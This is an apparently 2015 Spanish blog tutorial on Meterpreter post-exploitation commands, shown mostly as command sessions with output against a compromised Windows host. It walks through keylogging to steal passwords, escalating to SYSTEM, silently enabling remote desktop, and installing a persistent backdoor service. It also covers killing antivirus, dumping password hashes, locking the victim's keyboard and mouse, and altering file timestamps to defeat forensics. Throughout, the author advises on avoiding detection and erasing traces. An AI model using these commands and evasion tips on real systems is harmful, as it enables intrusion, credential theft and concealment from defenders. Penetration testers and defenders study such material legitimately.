meterpreter

2015-09-08

background Permite establecer el proceso de la consola meterpreter a un proceso “demonio” con lo que posteriormente permitirá volver al contexto de ejecución anterior a la obtención de la consola, eventualmente se puede volver a activar este proceso por medio del comando sesión:

```
meterpreter > background

msf exploit(handler) > sessions -l

Active sessions

===============

Id Type Information Connection



1 meterpreter x86/win32 OWNER\Owner @ OWNER 192.168.1.33:443 -> 192.168.1.34:1091

msf exploit(handler) > sessions -i 1

[\*] Starting interaction with 1…

meterpreter >
```

keyscan Con esta utilidad es posible saber que ha digitado el usuario en su maquina, de esta se obtiene fácilmente, claves, usuarios, direcciones, mensajes, etc.

Su uso:

meterpreter > keyscan_start

Starting the keystroke sniffer…

Con esto se ha iniciado el keylogger, posteriormente para consultar lo que se digitado: meterpreter > keyscan_dump

Dumping captured keystrokes…

t l gmail.com usuario passSuperSegura

Finalmente para detener el servicio basta con:

meterpreter > keyscan_stop

Stopping the keystroke sniffer…

getuid , getsystem <Priv: Elevate Commands> y rev2self Con estos comandos se pueden hacer operaciones de consulta y manipulación de cuentas de usuarios

Para obtener el usuario en sesión

```
> meterpreter > `getuid`

Server username: OWNER\Owner
```

Para obtener la cuenta del usuario SYSTEM meterpreter > getsystem

got system (via technique 1).

```
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
```

Para volver a la sesión anterior

```
meterpreter > rev2self

meterpreter > getuid

Server username: OWNER\Owner
```

migrate Permite migrar el proceso de Meterpreter a otro proceso activo, su uso es muy simple basta con especificar un PID activo (que puede ser consultado utilizando el comando "ps" de Meterpreter).

meterpreter > migrate 1780

De esta forma, cuando se cierre el proceso en ejecución anteriormente asociado al proceso de Meterpreter, este será "migrado" al proceso especificado, se recomienda que el PID sea el de el proceso explorer.exe o uno que tenga relación con los procesos del sistema operativo.

getgui Con este comando es posible acceder al escritorio remoto de la maquina objetivo, en concreto, lo que permite este comando es activar el escritorio remoto de la maquina comprometida.

Su uso resulta muy sencillo:

```
meterpreter > run getgui -e

[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator

[*] Carlos Perez carlos_perez@darkoperator.com

[*] Enabling Remote Desktop

[*] RDP is disabled; enabling it …

[*] Setting Terminal Services service startup mode

[*] The Terminal Services service is not set to auto, changing it to auto …

[*] Opening port in local firewall if necessary

[*] For cleanup use command: run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20110307
```

Posteriormente podemos conectarnos al escritorio remoto usando el comando rdesktop con una sintaxis similar al siguiente: `rdesktop -u juan -p juan 192.168.1.34`

Cabe notar que el usuario y el password especificados pueden corresponder a un usuario creado anteriormente con incógnito, aunque evidentemente se puede utilizar cualquier otro usuario con credenciales validas.

Nota: En sistemas operativos XP y otros que no soporten múltiples sesiones de escritorio remoto, esta acción hará que el usuario logueado en la maquina remota pierda su sesión, por ende es necesario tener prudencia con este tipo de acciones, principalmente para no alertar al usuario sobre las acciones que se están llevando a cabo, esto también aplica a la creación de usuarios, dado que es bastante notorio cuando un usuario se ha creado en el sistema.

Finalmente, se limpia lo que se ha hecho para no dejar rastros, para esto se utiliza el comando:

```
meterpreter > run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20110307.0914.rc

[*] Running Command List …
```

```
[*] Running command reg setval -k 'HKLM\System\CurrentControlSet\Control\Terminal Server' -v 'fDenyTSConnecti

Successful set fDenyTSConnections.

[*] Running command execute -H -f cmd.exe -a "/c sc config termservice start= disabled"

Process 580 created.

[*] Running command execute -H -f cmd.exe -a "/c sc stop termservice"

Process 3184 created.

[*] Running command execute -H -f cmd.exe -a "/c 'netsh firewall set service type = remotedesktop mode = enab

Process 1312 created.
```

metsvc Permite definir un proceso persistente en la maquina objetivo que se encontrará a la espera de una nueva conexión por parte del atacante, para esto será necesario en primer lugar "migrar" el proceso de la sesión meterpreter actual a otro proceso "persistente" del objetivo, del modo en el que se ha indicando anteriormente con el comando migrate, por este motivo los procesos que resultan mas interesantes son aquellos propios del sistema operativo, posteriormente se puede ejecutar:

```
meterpreter > run metsvc

[*] Creating a meterpreter service on port 31337

[*] Creating a temporary installation directory C:\DOCUME~1\Owner\LOCALS~1\Temp\lZBdswMe…

[*] >> Uploading metsrv.dll…

[*] >> Uploading metsvc-server.exe…

[*] >> Uploading metsvc.exe…

[*] Starting the service…

* Installing service metsvc

* Starting service

Service metsvc successfully installed.
```

Como se puede apreciar la backdoor se ha instalado correctamente en el objetivo, ahora es posible realizar una conexión activa (ya no es necesario esperar de forma pasiva a que un usuario ejecute el fichero .exe que habilitará la sesión meterpreter).

killav

En muchas ocasiones en la maquina objetivo existen programas de antivirus instalados, lo que dificultará tareas comunes e inclusive triviales, por esta razón existe el script killav que intentará terminar todos los procesos de antivirus en el objetivo: meterpreter > run killav

```
[*] Killing Antivirus services on the target…

[*] Killing off avgrsx.exe…

meterpreter >
```

Aunque con este comando se supone que se deberían eliminar los procesos de monitoreo como Antivirus, en algunos casos no funciona correctamente, en especial cuando se trata de antivirus que tienen procesos persistentes/resilentes y que no pueden ser detenidos con los mecanismos convencionales, es en estos casos en los que se deben emplear mecanismos

mas elaborados para desactivar esta clase de servicios en la maquina comprometida, aquí entra en juego un proceso de recolección de información y análisis de las defensas del objetivo.

route Se trata del conocido comando route en sistemas windows/linux, permite conocer y definir las tablas de enrutamiento del sistema

```
meterpreter > route list

Network routes

==============

Subnet Netmask Gateway

-- --- ---

0.0.0.0 0.0.0.0 192.168.1.1

127.0.0.0 255.0.0.0 127.0.0.1

192.168.1.0 255.255.255.0 192.168.1.34

192.168.1.34 255.255.255.255 127.0.0.1

192.168.1.255 255.255.255.255 192.168.1.34

224.0.0.0 240.0.0.0 192.168.1.34

255.255.255.255 255.255.255.255 192.168.1.34
```

cd, rm, rmdir, pwd, ls, upload, download, cat edit, del, mkdir Se trata de los comandos básicos para consulta y manipulación de ficheros, su uso es equivalente a los comandos del mismo nombre disponibles en sistemas basados en UNIX, sin embargo estos comandos se ejecutan en el sistema remoto por medio del interprete meterpreter

cd: Permite navegar a través de la estructura de directorios, rm y del eliminar un fichero especificado, pwd, conocer el directorio actual en donde apunta meterpreter, upload para subir un fichero a la maquina remota, download, descargar un fichero desde la maquina remota, mkdir crear un directorio nuevo, cat Permite visualizar un fichero remoto, mientras que edit, permite editarlo con el uso de vi

Como se puede apreciar, se trata de comandos de fácil uso y bastante similares a los comandos clásicos en cualquier sistema Unix.

Idletime Permite determinar cuanto ha sido el tiempo en el que el usuario de la maquina remota ha permanecido sin actividad:

meterpreter > idletime

User has been idle for: 15 mins 57 secs

meterpreter > idletime

User has been idle for: 16 mins

channel , execute , interact read, write, close Para definir diferentes procesos que se ejecuten en la maquina remota y posteriormente declararlos como canales para ser manejados por meterpreter por medio del uso del comando channel:

meterpreter > execute -f cmd -c

Process 3356 created.

Channel 11 created.

meterpreter > getpid

Current pid: 1836

meterpreter > execute -f cmd -c

Process 2772 created.

Channel 12 created.

meterpreter > execute -f cmd -c

Process 2860 created.

Channel 13 created.

Como se ha podido apreciar, se han creado diferentes canales con un proceso asociado, posteriormente es posible consultarlos con el comando channel:

meterpreter > channel -l

Id Class Type

– —— —-

11 3 stdapi_process

12 3 stdapi_process

13 3 stdapi_process

Si se desea interactuar con alguno de esto canales, se utiliza el comando “interact” para definir alguno de los canales creados y posteriormente interactuar con él.

meterpreter > interact 11

Interacting with channel 11…

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

c:>exit

meterpreter > channel -l

Id Class Type

– —— —-

12 3 stdapi_process

13 3 stdapi_process

Otra forma de interactuar con un canal, es utilizando los comandos read y write, que permiten enviar flujos de datos a un canal definido de una forma sencilla:

meterpreter > write 12

Enter data followed by a ‘.’ on an empty line:

echo “Hola!”

.

[*] Wrote 13 bytes to channel 12.

meterpreter > read 12

Read 116 bytes from 12:

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

c:>echo “Hola!”

“Hola!”

Finalmente con el comando close, se cierra algún canal que se encuentre abierto

```
meterpreter > close 12

[*] Closed channel 12.

meterpreter > channel -l
```

Id Class Type

– —— —-

13 3 stdapi_process

getdesktop <Stdapi, User Interface Commands>, enumdesktops setdesktop Estos comandos permiten obtener el desktop del usuario actual, establecerlo y enumerar las diferentes interfaces habilitadas en la maquina objetivo, cada uno de los desktop están asociados a una sesión (normalmente la sesión, 0 se relaciona con el usuario actualmente conectado y las demás con usuarios remotos) una estación (que normalmente es la Windows Station) y un nombre de Desktop, este nombre identifica la interfaz que se enseña al usuario, por ejemplo tenemos una para el inicio de sesión, otra para el escritorio y otra para logoff.

meterpreter > enumdesktops

Enumerating all accessible desktops

Desktops

========

Session Station Name

——- ——- —-

0 WinSta0 Default

0 WinSta0 Disconnect

0 WinSta0 Winlogon

0 SAWinSta SADesktop

Para saber en que desktop se encuentra asociada la sesión meterpreter basta con invocar el método getdesktop:

```
meterpreter > getdesktop

Session 0\WinSta0\Default
```

Cada uno de los desktop tiene sus propios procesos en ejecución y ademas de esto, tienen su propio buffer de teclado y dispositivos de entrada, por lo tanto cuando se realiza el monitoreo de teclas del objetivo, es necesario conocer el desktop actual de ejecución y también es necesario que el proceso del cual depende meterpreter se encuentre en ejecución para dicho desktop, por esta razón es posible que el mismo monitoreo de teclas (utilizando keyscan_*) no funcione de la misma forma para el desktop de inicio de sesión que para el escritorio de un usuario logueado.

TIP: Una vez explicado lo anterior, una practica frecuente que utiliza un atacante cuando logra comprometer un sistema, es establecer después de un periodo corto de tiempo, el desktop asociado con el login de usuario y posteriormente iniciar el escaneo de teclas para dicho desktop, de esta forma es muy fácil capturar las credenciales del usuario que se esta logueando en el sistema.

uictl, hashdump, timestomp el comando uictl permite habilitar/deshabilitar el ratón y el teclado de la maquina destino, de esta forma, se puede controlar las acciones que el usuario realiza.

meterpreter > uictl

Usage: uictl [enable/disable] [keyboard/mouse]

meterpreter > uictl disable keyboard

Disabling keyboard…

meterpreter > uictl enable keyboard

Enabling keyboard…

meterpreter > uictl disable mouse

Disabling mouse...

meterpreter > uictl enable mouse

Enabling mouse...

El comando hashdump permite obtener los usuarios y el hash de los passwords de la maquina remota en formato SAM, de esta forma se puede crakear la clave de un usuario determinado usando herramientas como john the ripper o ophcrack

```
meterpreter > hashdump

Administrator:500:asdfghjkll1404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

ASPNET:1004:f398e05bcb3lllllf92d55aff8ce62c:86ceb0fb2a9e29524943fed3ef434477:::

daniel:1007:f920b27cf8b06ac9allllllb51404ee:c52abb1e14677d7ea228fcc1171ed7b7:::

Guest:501:aad3b435b51404eeaad3b4llll404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

HelpAssistant:1000:4d6764bf7636541b9llllll97b8f8a9d:d266eba66369591255d597bc76155cd8:::

Owner:1003:cf6a21dcd4401f45f500944b531llll5f631567587db2a3d87618c0660be3a3:::

postgres:1005:f554be491f92036e46cfff875cbe0lld:2b11a19bd88a25d3e2d07cb7cc362044:::

SUPPORT_388945a0#:1002:aad3b435b51404eelld3b435b51404ee:5376b4d52202b447093e4651b63d1572:::
```

Por otro lado con timestomp se pueden modificar los atributos relacionados con las fechas de creación y modificación de un fichero en la maquina remota.

Con la siguiente instrucción se puede cambiar la fecha de creación del fichero.

```
meterpreter > timestomp C:\AUTOEXEC.BAT -c "10/10/2010 10:10:10"

[*] Setting specific MACE attributes on C:AUTOEXEC.BAT

Con la siguiente instrucción se puede cambiar la fecha de modificación del fichero.

meterpreter > timestomp C:\AUTOEXEC.BAT -m "10/10/2010 10:10:10"

[*] Setting specific MACE attributes on C:AUTOEXEC.BAT

Con la siguiente instrucción se puede cambiar la fecha de ultimo acceso del fichero.

meterpreter > timestomp C:\AUTOEXEC.BAT -a "10/10/2010 10:10:10"

[*] Setting specific MACE attributes on C:AUTOEXEC.BAT

Las opciones suministradas por el comando son:

meterpreter > timestomp -h

Usage: timestomp file_path OPTIONS

OPTIONS:

-a <opt> Set the "last accessed" time of the file

-b Set the MACE timestamps so that EnCase shows blanks

-c <opt> Set the "creation" time of the file
```

```
-e <opt> Set the "mft entry modified" time of the file

-f <opt> Set the MACE of attributes equal to the supplied file

-h Help banner

-m <opt> Set the "last written" time of the file

-r Set the MACE timestamps recursively on a directory

-v Display the UTC MACE values of the file

-z <opt> Set all four attributes (MACE) of the file
```